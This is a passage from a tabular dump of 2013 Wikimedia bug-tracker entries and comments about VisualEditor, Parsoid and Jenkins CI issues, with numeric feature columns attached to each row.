+*** This bug has been marked as a duplicate of bug 48560 ***",,,1372036218,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ndrderb5cpy5obe7r7so,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52049,VisualEditor saves HTML instead of wikitext,"In the following edit, VE saved the internal page representation instead of the wikitext:
+
+https://nl.wikipedia.org/w/index.php?title=Eurosong&diff=prev&oldid=38007082
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371986640,1372004983.0,PHID-USER-muirnivxp5hzppn2a3z7,False,,False,PHID-TASK-2nhg6abdnwgx5uutzfus,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+241628,VisualEditor saves HTML instead of wikitext,"This was due to the caches being mis-configured; really sorry about this issue.
+
+*** This bug has been marked as a duplicate of bug 49577 ***",,,1372004983,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2nhg6abdnwgx5uutzfus,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+52035,Images turned into mw:Placeholder in certain cases,"When viewing [[testwiki:Visualeditor_image_captions]] in VE, the images cannot be seen. They are still ""known"" though - they don't vanish on save.
+
+(My testing of this issue led to the filing of bug 50008, but the issue there seems to have gone away now. However, this one is still showing up for me, so I think this is a separate bug.
+
+Please close this bug if it turns out to have fixed itself.)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371972060,1372104211.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-k4lzd6fndz3snhg24las,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+240698,Images turned into mw:Placeholder in certain cases,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934068,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-k4lzd6fndz3snhg24las,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+240692,Images turned into mw:Placeholder in certain cases,"
+
+*** This bug has been marked as a duplicate of bug 48900 ***",,,1372104211,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-k4lzd6fndz3snhg24las,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+240685,Images turned into mw:Placeholder in certain cases,Related: Bug 48900,,,1372006246,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-k4lzd6fndz3snhg24las,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+240677,Images turned into mw:Placeholder in certain cases,*** Bug 50008 has been marked as a duplicate of this bug. ***,,,1372003922,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k4lzd6fndz3snhg24las,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+240671,Images turned into mw:Placeholder in certain cases,"This is because Parsoid is converting the images to placeholders for some reason: http://parsoid.wmflabs.org/mw/User:Catrope/Bug_50035
+
+Moving to Parsoid",,,1371972510,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-k4lzd6fndz3snhg24las,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+52022,Jenkins: Provide build status images,"Assuming we do not yet have something like this, it'd be awesome if this Jenkins plugin could be installed:
+
+https://wiki.jenkins-ci.org/display/JENKINS/Embeddable+Build+Status+Plugin
+
+I want to be able to embed such a build status image on some website.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1371912840,1372235730.0,PHID-USER-mye6umixnhfo7lhpgzmj,False,,False,PHID-TASK-fa3dg2ag3ccgjplogzop,task_description,resolved,True,c1,2,False,False,True,-2,,1,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+239954,Jenkins: Provide build status images,"I have installed the plugin and restarted Jenkins. Please try it out, if it does not work simply reopen this bug :)",,,1372235730,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-fa3dg2ag3ccgjplogzop,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+239949,Jenkins: Provide build status images,"As Timo said, this will only be useful for Jobs triggering only on merge events. In Zuul that is the 'postmerge' pipeline, its configuration is currently:
+
+
+Configured Pipeline Manager postmerge
+Events:
+  <EventFilter types: change-merged>
+Projects:
+  mediawiki/extensions/VisualEditor
+    <Job mwext-VisualEditor-doc-publish> ^master$
+  operations/mediawiki-config
+    <Job beta-mediawiki-config-update> ^master$ 
+  test/mediawiki
+    <Job test-mediawiki-docgen>
+  analytics/wikistats
+    <Job analytics-wikistats>
+  analytics/udp-filters
+    <Job analytics-udp-filters>
+  operations/puppet
+    <Job operations-puppet-doc>
+  analytics/webstatscollector
+    <Job analytics-webstatscollector>
+  analytics/libanon
+    <Job analytics-libanon>
+  mediawiki/extensions/Parsoid
+    <Job parsoid-regressions>
+  mediawiki/core
+    <Job mediawiki-core-jslint> (?!REL1_19)^(\.jshint|.*\.(js|json)$)
+    <Job mediawiki-core-lint>
+    <Job mediawiki-core-jsduck-publish> ^(REL1_21|master)$^.*\.(js|json)$
+    <Job mediawiki-core-regression-master> ^master$
+    <Job mediawiki-core-regression-REL1_19> ^REL1_19$
+    <Job mediawiki-core-regression-REL1_20> ^REL1_20$
+    <Job mediawiki-core-regression-REL1_21> ^REL1_21
+    <Job mediawiki-core-regression-phpcs-HEAD>
+    <Job mediawiki-core-doxygen-publish>   
+  mediawiki/extensions/Math
+    <Job beta-recompile-math-texvc>
+  integration/docroot
+    <Job integration-docroot-deploy> ^master$
+
+Some of those jobs are shared with over pipelines (such as mediawiki-core-lint) and are thus meaningless.  The only candidates would be:
+
+
+mwext-VisualEditor-doc-publish
+beta-mediawiki-config-update
+beta-recompile-math-texvc
+test-mediawiki-docgen
+operations-puppet-doc
+parsoid-regressions
+mediawiki-core-regression-*
+integration-docroot-deploy
+
+
+If we wanted to do that for other repositories (such as mediawiki extensions), we will need to have JJB to create a new job and edit the Zuul template 'extensions-unittests' to have a postmerge pipeline.
+
+
+ I need to restart Jenkins next week, so I will look at installing the plugin.",,,1372012020,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-fa3dg2ag3ccgjplogzop,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,1
+239941,Jenkins: Provide build status images,"Note that due to the way we currently separate larger build steps into separate jobs, you'd need to display about a dozen status badges to have the complete picture (e.g. mediawiki-core-lint, mediawiki-core-jslint, mediawiki-core-phpunit-groupA, mediawiki-core-phpunit-groupB, mediawiki-core-databaseless etc.).
+
+
+If we do want to display this somewhere (for the unlikely event that someone bypassed Jenkins), we would need to have a post-merge job that runs on master only (so that it isn't affected by failing tests from proposed changes in Gerrit).
+
+The closest we have for that is the post-merge job for phpunit regressions:
+
+https://integration.wikimedia.org/ci/view/MediaWiki/job/mediawiki-core-regression-master/
+
+This one only runs for master and only post-merge.
+
+Note though that this doesn't include phplint, jshint and qunit. Only phpunit.",,,1371986909,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-fa3dg2ag3ccgjplogzop,task_subcomment,,True,c1,2,True,,,-2,,0,1,0,0,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1
+239931,Jenkins: Provide build status images,"Installing that plugin won't be very useful because we use Jenkins pre-merge, not post-merge.
+
+The builds you see in Jenkins are for patch sets in Gerrit. The latest build of those jobs have no meaning in correlation to the state of a repository as those builds are just an arbitrary sequence of builds on proposed changes.
+
+The build status of our branches (incl. master) is always passing because you can't merge a change if it would result in the build failing.
+
+Thus we don't need a status badge because our workflow (unlike most typical projects with e.g. Travis-CI set up on GitHub) makes it impossible not to be passing because we force every change to be pushed for review first, and is only merged after it is Verified by a passing build[1].
+
+[1] Unless someone with the appropriate user permissions bypasses Jenkins manually, which is frowned upon and would break Jenkins for every submitted patch set after that.",,,1371986368,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-fa3dg2ag3ccgjplogzop,task_subcomment,,True,c1,2,True,,,-2,,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+52019,Parametr adds =,"I have tryed to add {{Commonscat|Saint Robert of Molesme}} to the article w:cs:Robert z Molesme using VE. VE adds ""="" behind parametr in the code. See this revision: https://cs.wikipedia.org/w/index.php?title=Robert_z_Molesme&oldid=10436403
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://cs.wikipedia.org/w/index.php?title=Robert_z_Molesme&diff=10436403&oldid=10436394",Needs Triage,90.0,1371911220,1373161574.0,PHID-USER-vm462i2ffbawnuo4mh3n,False,,False,PHID-TASK-ljxem5cmodalpwa72kg4,task_description,invalid,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+239811,Parametr adds =,"But anyway, thx for explanation and sorry for disturbing!",,,1373174465,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-ljxem5cmodalpwa72kg4,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+239806,Parametr adds =,"(In reply to comment #1)
+> ...the parameter name in this case is ""1""...
+
+Isnt this tricky? How the newbie should know, that ""parametr name is 1""?",,,1373174438,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-ljxem5cmodalpwa72kg4,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1
+239800,Parametr adds =,"This was caused by you adding ""Saint Robert of Molesme"" as the parameter name rather than value - the parameter name in this case is ""1"", which wikitext can hide (the formal wikitext you were intending to add was ""{{Commonscat|1=Saint Robert of Molesme}}"".
+
+In English the label (<visualeditor-parameter-input-placeholder>) is ""Parameter name"", which I believe is shown as ""Jméno parametru"" in Czech. I think the addition of the help documentation at https://www.mediawiki.org/wiki/Help:VisualEditor/User_guide and linked from the help menu in the interface will reduce this occurring, but sorry for the confusion in the first place. :-(",,,1373161574,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ljxem5cmodalpwa72kg4,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0
+52016,Uncaught TypeError: Cannot read property 'description' of undefined,"After loading the Visual Editor on
+https://pt.wikipedia.org/wiki/Quadrado?veaction=edit&debug=1&uselang=pt&useskin=vector
+and clicking in the template which shows the text ""Wikicionário"", in the bottom right corner of the page, I get the following error on console (Google Chrome 28.0.1500.52):
+----
+Uncaught TypeError: Cannot read property 'description' of undefined 
+----
+
+It comes from the line 
+----
+if ( data.description !== null ) {
+----
+
+of the following script:
+https://bits.wikimedia.org/static-1.22wmf7/extensions/VisualEditor/modules/ve/dm/models/ve.dm.MWTemplateSpecModel.js
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371898920,1371969869.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-wvgg7vhdge7chox3fyjo,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0
+239680,Uncaught TypeError: Cannot read property 'description' of undefined,"This is the same as bug 49493 which is fixed in master and now in production; sorry for the disruption.
+
+*** This bug has been marked as a duplicate of bug 49493 ***",,,1371969869,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wvgg7vhdge7chox3fyjo,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0
+51986,Provide ability to alternate between visual and source editing,"A user suggested at
+https://pt.wikipedia.org/wiki/WP:Editor_Visual/Coment%C3%A1rios?oldid=36175459#Alternar_entre_editores_sem_sair_da_p.C3.A1gina
+which there should be a way to alternate between the two edit methods (visual/source), to avoid having to do two edits, when e.g. we are not able to finish our edit using the Visual Editor (maybe because we underestimate its difficulty, and changed our mind while using VisualEditor).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371855780,1371855868.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-c3wbsdob4ioii2vvg62w,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+237997,Provide ability to alternate between visual and source editing,"Already suggested as bug 47779.
+
+*** This bug has been marked as a duplicate of bug 47779 ***",,,1371855868,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-c3wbsdob4ioii2vvg62w,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+51984,VisualEditor: Insecure image links on https,"When I open
+https://pt.wikipedia.org/wiki/Jorge_VI_do_Reino_Unido?veaction=edit
+I see several warnings like this on Google Chrome:
+
+The page at https://pt.wikipedia.org/wiki/Jorge_VI_do_Reino_Unido?veaction=edit displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/4/4a/Commons-logo.svg/22px-Commons-logo.svg.png.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371854820,1371855005.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-7ahnfikr3ud3nwuglytr,task_description,resolved,True,c1,2,False,False,True,-2,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+237865,VisualEditor: Insecure image links on https,"
+
+*** This bug has been marked as a duplicate of bug 43015 ***",,,1371855005,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7ahnfikr3ud3nwuglytr,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+51960,VisualEditor: not functioning on it.wiki,"Screenshot
+
+See associated screenshot; that's the VE, in edit mode, on it.wiki. You can apparently still type into the window, but aren't given the toolbar or, for that matter, the ability to save. Erica is currently testing it.wiki's default gadgets one by one to see if any of those are causing the problem.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11224}",Needs Triage,90.0,1371825480,1371828173.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-wzimuyoyzpmwzhvmicic,task_description,invalid,True,c1,2,False,False,True,-2,,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+236220,VisualEditor: not functioning on it.wiki,"Cool; marking as resolved. I'd suggest speaking to the QE author quickfast, then :D.",,,1371828173,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-wzimuyoyzpmwzhvmicic,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+236215,VisualEditor: not functioning on it.wiki,"Confirming it's QE's fault, http://it.wikipedia.org/w/index.php?title=Wikipedia%3AVisualEditor%2FCommenti&diff=59583884&oldid=59583801",,,1371827387,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-wzimuyoyzpmwzhvmicic,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0
+236212,VisualEditor: not functioning on it.wiki,"I need to point out that I'm testing gadgets I added, I'm pretty sure defaults are ok :) http://it.wikipedia.org/w/index.php?title=Utente%3AElitre_%28WMF%29%2FSandbox&diff=59583614&oldid=59581474 tells me QuickEdit might cause the trouble here, since I managed to edit with VE without it.",,,1371825766,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-wzimuyoyzpmwzhvmicic,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,0
+51950,Required 'Edit Source' at Sections,"At present, VisualEditor is invoked when clicking on the Edit link of sections. Please provide 'Edit Source' link in addition to that for each section.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371805320,1371827708.0,PHID-USER-4jecvpv4h62htut6pxez,False,,False,PHID-TASK-btez3p46ypsfjdbg3yny,task_description,resolved,True,c1,2,False,False,True,-2,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0
+235627,Required 'Edit Source' at Sections,"This is a duplicate of bug 49666 which we hope to do very soon.
+
+*** This bug has been marked as a duplicate of bug 49666 ***",,,1371827708,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-btez3p46ypsfjdbg3yny,task_subcomment,,True,c1,2,True,,,-2,,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+51939,VisualEditor translates templates into Uzbek language,"When I edit https://en.wikipedia.org/wiki/Golden_tortoise_beetle in VE, the template names at the top and bottom are suddenly in Uzbek (""Turkum:Biologik turlar"" and ""Andoza:Chrysomelidae-stub"") and parts of the contents of the rendered infobox are in Uzbek as well (""Kingdom:"" becomes ""Olam:"" etc.).
+
+More evidence of VE's growing self-awareness? Caffeine-induced hallucination on the reporter's part? Inquiring minds want to know.
+
+Chrome/Ubuntu and FF/Ubuntu.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371798000,1371829646.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-gd5v26ccraeduoxxlbju,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1
+235015,VisualEditor translates templates into Uzbek language,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934049,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gd5v26ccraeduoxxlbju,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+235007,VisualEditor translates templates into Uzbek language,"Caffeine-induced hallucination on the reporter's part would have been a better explanation.  Yes, 49411 again.
+
+*** This bug has been marked as a duplicate of bug 49411 ***",,,1371829646,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-gd5v26ccraeduoxxlbju,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0
+235001,VisualEditor translates templates into Uzbek language,Looks like a Parsoid caching issue: bug 49411 again?,,,1371812835,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-gd5v26ccraeduoxxlbju,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0
+51919,"VisualEditor: Internal wiki link using ""pipe trick"" [[/Foo/]] to link to sub page broken","Screenshot of problem. Compares VE view and MWParser view.
+
